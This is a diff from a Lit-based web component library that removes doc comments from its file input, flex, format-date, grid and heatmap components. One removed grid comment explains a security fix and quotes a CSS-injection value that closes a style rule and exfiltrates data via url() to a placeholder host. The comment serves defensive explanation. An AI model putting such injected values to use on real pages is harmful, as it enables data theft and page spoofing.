-
*
|
|
27
|
-
* The native input is kept and laid over the field at zero opacity rather than
|
|
28
|
-
* hidden, so a click anywhere on the box lands on the input itself and opens the
|
|
29
|
-
* picker. Hiding it with `display: none` would take it out of the tab order and
|
|
30
|
-
* out of the form, and a script clicking a hidden input is the same thing with
|
|
31
|
-
* more moving parts.
|
|
32
|
-
*
|
|
33
|
-
* The focus ring is drawn on the field, because the control it belongs to is
|
|
34
|
-
* invisible.
|
|
35
|
-
*
|
|
36
|
-
* @since 0.1.0
|
|
37
|
-
* @status stable
|
|
38
|
-
* @category forms
|
|
39
|
-
* @aliases FileUpload, FilePicker, Dropzone, InputFile
|
|
40
|
-
* @documentation https://helix.fusion.dev/components/file-input
|
|
41
|
-
*
|
|
42
|
-
* @cssproperty --file-input-background-color - Fill behind the field.
|
|
43
|
-
* @cssproperty --file-input-padding - Padding inside the field.
|
|
44
|
-
*/
|
|
45
15
|
let HelixFileInput = class HelixFileInput extends HelixHeadlessFileInput {
|
|
46
16
|
static { this.tier = 'helix-'; }
|
|
47
17
|
static { this.styles = [glyphStyles, fieldStyles, fieldStackedStyles, styles]; }
|
|
@@ -8,42 +8,10 @@ import { customElement, HelixElement } from '@fusion.dev/helix-core';
|
|
|
8
8
|
import { html } from 'lit';
|
|
9
9
|
import { property } from 'lit/decorators.js';
|
|
10
10
|
import { styles } from './flex-root.css.js';
|
|
11
|
-
/**
|
|
12
|
-
* @summary Lays children out in a row or a column.
|
|
13
|
-
*
|
|
14
|
-
* @description
|
|
15
|
-
* The host is the flex container itself and the only child is a slot, so the
|
|
16
|
-
* element adds no box of its own: `<helix-flex>` costs exactly the `<div>` it
|
|
17
|
-
* replaces.
|
|
18
|
-
*
|
|
19
|
-
* There is no separate Stack. A stack is this with `direction="column"`, and a
|
|
20
|
-
* second element whose whole definition is one default of the first is a name
|
|
21
|
-
* to learn rather than a capability to gain.
|
|
22
|
-
*
|
|
23
|
-
* Gap takes a space token name rather than a length, so spacing stays on the
|
|
24
|
-
* scale. A layout that can say `gap="13px"` is one that will.
|
|
25
|
-
*
|
|
26
|
-
* Presentation only, so there is no headless tier: the split exists to keep
|
|
27
|
-
* behavior separate from styling, and this is entirely styling.
|
|
28
|
-
*
|
|
29
|
-
* @since 0.1.0
|
|
30
|
-
* @status stable
|
|
31
|
-
* @category layout
|
|
32
|
-
* @aliases Stack, Row, Column, HStack, VStack
|
|
33
|
-
* @documentation https://helix.fusion.dev/components/flex
|
|
34
|
-
*
|
|
35
|
-
* @slot - The items to lay out.
|
|
36
|
-
*/
|
|
37
11
|
let HelixFlex = class HelixFlex extends HelixElement {
|
|
38
12
|
constructor() {
|
|
39
13
|
super(...arguments);
|
|
40
|
-
/**
|
|
41
|
-
* Flows with surrounding text instead of taking the full width.
|
|
42
|
-
*/
|
|
43
14
|
this.inline = false;
|
|
44
|
-
/**
|
|
45
|
-
* Whether items wrap onto more lines.
|
|
46
|
-
*/
|
|
47
15
|
this.wrap = false;
|
|
48
16
|
}
|
|
49
17
|
render() {
|
|
@@ -7,23 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
|
|
|
7
7
|
import { customElement } from '@fusion.dev/helix-core';
|
|
8
8
|
import { HelixHeadlessFormatDate } from '@fusion.dev/helix-headless/format-date';
|
|
9
9
|
import { styles } from './format-date-root.css.js';
|
|
10
|
-
/**
|
|
11
|
-
* @summary A timestamp, written the way the reader's locale writes one.
|
|
12
|
-
*
|
|
13
|
-
* @description
|
|
14
|
-
* The base tier does the reading; this adds the one thing a design system has to
|
|
15
|
-
* say about it. A timestamp takes the family, size and color of the text around
|
|
16
|
-
* it, so almost nothing here is a decision. The exception is figures: an elapsed
|
|
17
|
-
* reading counts up under the reader, and proportional digits move the trailing
|
|
18
|
-
* edge as it does, which in a feed is a whole column shifting whenever any row
|
|
19
|
-
* in it ticks over. `tabular-nums` in that mode and not in the other, because a
|
|
20
|
-
* date is written once and should sit in the text like the text.
|
|
21
|
-
*
|
|
22
|
-
* @since 0.1.0
|
|
23
|
-
* @status experimental
|
|
24
|
-
* @category typography
|
|
25
|
-
* @documentation https://helix.fusion.dev/components/format-date
|
|
26
|
-
*/
|
|
27
10
|
let HelixFormatDate = class HelixFormatDate extends HelixHeadlessFormatDate {
|
|
28
11
|
static { this.tier = 'helix-'; }
|
|
29
12
|
static { this.styles = styles; }
|
|
@@ -8,82 +8,16 @@ import { customElement, HelixElement } from '@fusion.dev/helix-core';
|
|
|
8
8
|
import { html } from 'lit';
|
|
9
9
|
import { property } from 'lit/decorators.js';
|
|
10
10
|
import { styles } from './grid-root.css.js';
|
|
11
|
-
/**
|
|
12
|
-
* @summary Lays children out on a grid.
|
|
13
|
-
*
|
|
14
|
-
* @description
|
|
15
|
-
* Two ways to declare columns, and only two. `columns` is a fixed count;
|
|
16
|
-
* `min` fills as many equal columns as fit above that width, which is a
|
|
17
|
-
* responsive layout with no breakpoint to maintain. Setting `min` wins, because
|
|
18
|
-
* a fixed count that also reflows is two intentions in one element.
|
|
19
|
-
*
|
|
20
|
-
* Presentation only, so there is no headless tier.
|
|
21
|
-
*
|
|
22
|
-
* @since 0.1.0
|
|
23
|
-
* @status stable
|
|
24
|
-
* @category layout
|
|
25
|
-
* @aliases Layout, Columns
|
|
26
|
-
* @documentation https://helix.fusion.dev/components/grid
|
|
27
|
-
*
|
|
28
|
-
* @slot - The items to lay out.
|
|
29
|
-
*
|
|
30
|
-
* @cssproperty --grid-columns - An explicit track list, which wins over `min` and `columns`. For a layout of unequal tracks, which neither attribute can say.
|
|
31
|
-
*/
|
|
32
11
|
let HelixGrid = class HelixGrid extends HelixElement {
|
|
33
12
|
constructor() {
|
|
34
13
|
super(...arguments);
|
|
35
|
-
/**
|
|
36
|
-
* Minimum column width, filling as many as fit.
|
|
37
|
-
*
|
|
38
|
-
* Takes precedence over `columns`: a grid that both fixes a count and reflows
|
|
39
|
-
* is two intentions in one element.
|
|
40
|
-
*/
|
|
41
14
|
this.min = '';
|
|
42
15
|
}
|
|
43
|
-
/**
|
|
44
|
-
* Writes the track list into the shadow root's own stylesheet.
|
|
45
|
-
*
|
|
46
|
-
* Into a `<style>` rather than onto `this.style`, and the difference is
|
|
47
|
-
* hydration. An inline style on the host is an attribute the element gives
|
|
48
|
-
* itself once it upgrades, so a React consumer's server markup does not have
|
|
49
|
-
* it and hydration reports a mismatch it will not patch up. The shadow root
|
|
50
|
-
* is not part of the tree React hydrates, so a rule written there is free.
|
|
51
|
-
*
|
|
52
|
-
* The element is filled imperatively because Lit refuses expressions inside
|
|
53
|
-
* `<style>`: it is an invalid binding location and throws while rendering
|
|
54
|
-
* rather than at build time. Hence a static, empty element in the template
|
|
55
|
-
* and its `textContent` set here.
|
|
56
|
-
*
|
|
57
|
-
* It sets a custom property rather than the track list itself. A shadow
|
|
58
|
-
* root's adopted stylesheets cascade *after* its own `<style>` elements, and
|
|
59
|
-
* `static styles` is adopted, so a `grid-template-columns` here lost to the
|
|
60
|
-
* one in the stylesheet and every `min` grid came out a single column. The
|
|
61
|
-
* stylesheet only ever reads `--_grid-template`, so there is nothing to
|
|
62
|
-
* lose against.
|
|
63
|
-
*
|
|
64
|
-
* The consequence is that a server-rendered grid falls back to the
|
|
65
|
-
* stylesheet's single column until it upgrades. That is why `columns` is also
|
|
66
|
-
* expressed as plain CSS below: the fixed-count case, which can be enumerated,
|
|
67
|
-
* needs no JavaScript at all, and only `min` depends on this.
|
|
68
|
-
*/
|
|
69
16
|
applyTemplate() {
|
|
70
17
|
const sheet = this.renderRoot.querySelector('#template');
|
|
71
18
|
if (!sheet) {
|
|
72
19
|
return;
|
|
73
20
|
}
|
|
74
|
-
/* **`min` is checked against a length before it reaches a stylesheet, and
|
|
75
|
-
that is a security fix rather than tidiness.** It is a public attribute
|
|
76
|
-
and it was concatenated into a `<style>` element's text, so
|
|
77
|
-
`min="1px,1fr)} :host{background:url(//elsewhere/?stolen)} @media all{"`
|
|
78
|
-
closed the rule and wrote arbitrary CSS into this component's shadow
|
|
79
|
-
root. That is enough to exfiltrate through `url()` and to lay an
|
|
80
|
-
invisible plate over the page.
|
|
81
|
-
*
|
|
82
|
-
* `createSheet` says in its own documentation that consumer input must not
|
|
83
|
-
* be interpolated into CSS, and this was the one place in the library that
|
|
84
|
-
* did it. A pattern rather than an escape, because a length has a small,
|
|
85
|
-
* known grammar and anything outside it is a mistake worth ignoring rather
|
|
86
|
-
* than a string worth repairing. */
|
|
87
21
|
const length = /^-?(?:\d+\.?\d*|\.\d+)(?:px|r?em|%|v[hw]|ch|ex|cm|mm|in|pt|pc|q)$/i;
|
|
88
22
|
const min = this.min?.trim() ?? '';
|
|
89
23
|
sheet.textContent =
|
|
@@ -91,9 +25,6 @@ let HelixGrid = class HelixGrid extends HelixElement {
|
|
|
91
25
|
? `:host { --_grid-template: repeat(auto-fit, minmax(min(${min}, 100%), 1fr)); }`
|
|
92
26
|
: '';
|
|
93
27
|
}
|
|
94
|
-
/* `updated` alone, and never a `firstUpdated` beside it. Lit puts every
|
|
95
|
-
initial property into the first `changed`, so the pair runs
|
|
96
|
-
`applyTemplate` twice on every mount of a grid with a `min`. */
|
|
97
28
|
updated(changed) {
|
|
98
29
|
super.updated(changed);
|
|
99
30
|
if (changed.has('min')) {
|
|
@@ -4,19 +4,17 @@ import type { CSSResultGroup } from 'lit';
|
|
|
4
4
|
* @summary A strip of cells colored by how each one went: uptime, contributions, activity.
|
|
5
5
|
*
|
|
6
6
|
* @description
|
|
7
|
-
* One grid, filled down the column
|
|
8
|
-
*
|
|
9
|
-
*
|
|
10
|
-
* layout.
|
|
7
|
+
* One grid, filled down the column then across: a week is a column, so the strip
|
|
8
|
+
* reads left to right in weeks and top to bottom in days. `rows="1"` makes it a
|
|
9
|
+
* single row.
|
|
11
10
|
*
|
|
12
|
-
* An empty cell takes the quietest ground
|
|
13
|
-
* transparent
|
|
14
|
-
*
|
|
11
|
+
* An empty cell takes the palette's quietest ground rather than being
|
|
12
|
+
* transparent, so a gap reads as a period with nothing in it rather than as a
|
|
13
|
+
* hole in the picture.
|
|
15
14
|
*
|
|
16
|
-
*
|
|
17
|
-
* `
|
|
18
|
-
*
|
|
19
|
-
* compare two cells by. Both are hooks, so a page may answer differently.
|
|
15
|
+
* `tones="success"` and `data-tone="danger"` reach the theme's status colors;
|
|
16
|
+
* `tones="1 2 3 4 5"` reaches a five-step ramp of one hue, which is the only
|
|
17
|
+
* thing two cells can be compared by.
|
|
20
18
|
*
|
|
21
19
|
* @since 0.1.0
|
|
22
20
|
* @status experimental
|
|
@@ -7,83 +7,10 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
|
|
|
7
7
|
import { customElement } from '@fusion.dev/helix-core';
|
|
8
8
|
import { HelixHeadlessHeatmap } from '@fusion.dev/helix-headless/heatmap';
|
|
9
9
|
import { styles } from './heatmap-root.css.js';
|
|
10
|
-
/**
|
|
11
|
-
* @summary A strip of cells colored by how each one went: uptime, contributions, activity.
|
|
12
|
-
*
|
|
13
|
-
* @description
|
|
14
|
-
* One grid, filled down the column and then across, which is what a calendar
|
|
15
|
-
* heatmap is: a week is a column, so the strip reads left to right in weeks and
|
|
16
|
-
* top to bottom in days. `rows="1"` makes it a single row without a second
|
|
17
|
-
* layout.
|
|
18
|
-
*
|
|
19
|
-
* An empty cell takes the quietest ground the palette has rather than being
|
|
20
|
-
* transparent. A strip of holes reads as a broken picture; a strip of empty
|
|
21
|
-
* cells reads as a period with nothing in it, which is what it is.
|
|
22
|
-
*
|
|
23
|
-
* **This tier is what a tone name is worth.** `tones="success"` and
|
|
24
|
-
* `data-tone="danger"` reach the theme's status colors; `tones="1 2 3 4 5"`
|
|
25
|
-
* reaches a five step ramp of one hue, which is the only thing a reader can
|
|
26
|
-
* compare two cells by. Both are hooks, so a page may answer differently.
|
|
27
|
-
*
|
|
28
|
-
* @since 0.1.0
|
|
29
|
-
* @status experimental
|
|
30
|
-
* @category charts
|
|
31
|
-
* @documentation https://helix.fusion.dev/components/heatmap
|
|
32
|
-
*
|
|
33
|
-
* @slot - The `<table>` this draws, where it is not named by `for`.
|
|
34
|
-
* @slot end - Below the strip, at the trailing edge.
|
|
35
|
-
* @slot start - Below the strip, at the leading edge.
|
|
36
|
-
* @slot summary - Below the strip, in the middle.
|
|
37
|
-
*
|
|
38
|
-
* @csspart cell - One reading.
|
|
39
|
-
* @csspart footer - The three-slot row under the strip.
|
|
40
|
-
* @csspart mark - The invisible point the tooltip is anchored to.
|
|
41
|
-
* @csspart strip - The grid of cells.
|
|
42
|
-
* @csspart tooltip - The bubble, forwarded from `Tooltip`.
|
|
43
|
-
* @csspart tooltip-anchor - The `Tooltip` element itself.
|
|
44
|
-
* @csspart tooltip-cell - One column's name and value inside the tooltip.
|
|
45
|
-
* @csspart tooltip-label - The reading's own name inside the tooltip.
|
|
46
|
-
* @csspart tooltip-name - A column's name inside the tooltip.
|
|
47
|
-
* @csspart tooltip-value - A column's value inside the tooltip.
|
|
48
|
-
*
|
|
49
|
-
* @cssproperty --heatmap-cell-height - How tall a cell is. A row of a tall thin cell is what a status page draws.
|
|
50
|
-
* @cssproperty --heatmap-cell-inline-size - How wide a cell is. The strip fits as many as the container allows.
|
|
51
|
-
* @cssproperty --heatmap-cell-radius - How far a cell's corners are rounded.
|
|
52
|
-
* @cssproperty --heatmap-cell-size - The size a cell wants on both axes, where neither is given its own.
|
|
53
|
-
* @cssproperty --heatmap-gap - Space between cells. Zero is a continuous field rather than a grid of tiles.
|
|
54
|
-
* @cssproperty --heatmap-tone-1 - The quietest step of the magnitude ramp, reached by `tones="1 …"`.
|
|
55
|
-
* @cssproperty --heatmap-tone-2 - The second step of the magnitude ramp.
|
|
56
|
-
* @cssproperty --heatmap-tone-3 - The third step of the magnitude ramp.
|
|
57
|
-
* @cssproperty --heatmap-tone-4 - The fourth step of the magnitude ramp.
|
|
58
|
-
* @cssproperty --heatmap-tone-5 - The loudest step of the magnitude ramp.
|
|
59
|
-
* @cssproperty --heatmap-tone-accent - What `accent` is worth.
|
|
60
|
-
* @cssproperty --heatmap-tone-danger - What `danger` is worth.
|
|
61
|
-
* @cssproperty --heatmap-tone-info - What `info` is worth.
|
|
62
|
-
* @cssproperty --heatmap-tone-muted - What `muted` is worth: the quiet ground, for a bucket that means nothing happened.
|
|
63
|
-
* @cssproperty --heatmap-tone-primary - What `primary` is worth.
|
|
64
|
-
* @cssproperty --heatmap-tone-success - What `success` is worth, as a name or a `data-tone`.
|
|
65
|
-
* @cssproperty --heatmap-tone-warning - What `warning` is worth.
|
|
66
|
-
*/
|
|
67
10
|
let HelixHeatmap = class HelixHeatmap extends HelixHeadlessHeatmap {
|
|
68
11
|
constructor() {
|
|
69
12
|
super(...arguments);
|
|
70
|
-
/**
|
|
71
|
-
* The first guess at what this sheet draws, before it has been measured.
|
|
72
|
-
*
|
|
73
|
-
* **Not a contract.** `fits()` reads the strip back rather than being told a
|
|
74
|
-
* cell size by hand, so nothing has to be kept in step and
|
|
75
|
-
* `--heatmap-cell-inline-size` on its own is enough. Told by hand, these sat
|
|
76
|
-
* at the base tier's 8 and 2 against a sheet drawing 12 and 4, and the
|
|
77
|
-
* arithmetic believed a cell cost 10 pixels where it cost 16: a ninety day
|
|
78
|
-
* strip drew 940 pixels of cells into a 592 pixel box while `visible`
|
|
79
|
-
* reported 59.
|
|
80
|
-
*
|
|
81
|
-
* These two remain because a measurement arrives one frame after the first
|
|
82
|
-
* paint, and a first paint from numbers that match the sheet is one that does
|
|
83
|
-
* not move.
|
|
84
|
-
*/
|
|
85
13
|
this.gap = 4;
|
|
86
|
-
/** The drawn cell width, for the reason `gap` is the drawn gap. `0.75rem` at the root font size. */
|
|
87
14
|
this.minCell = 12;
|
|
88
15
|
}
|
|
89
16
|
static { this.tier = 'helix-'; }
|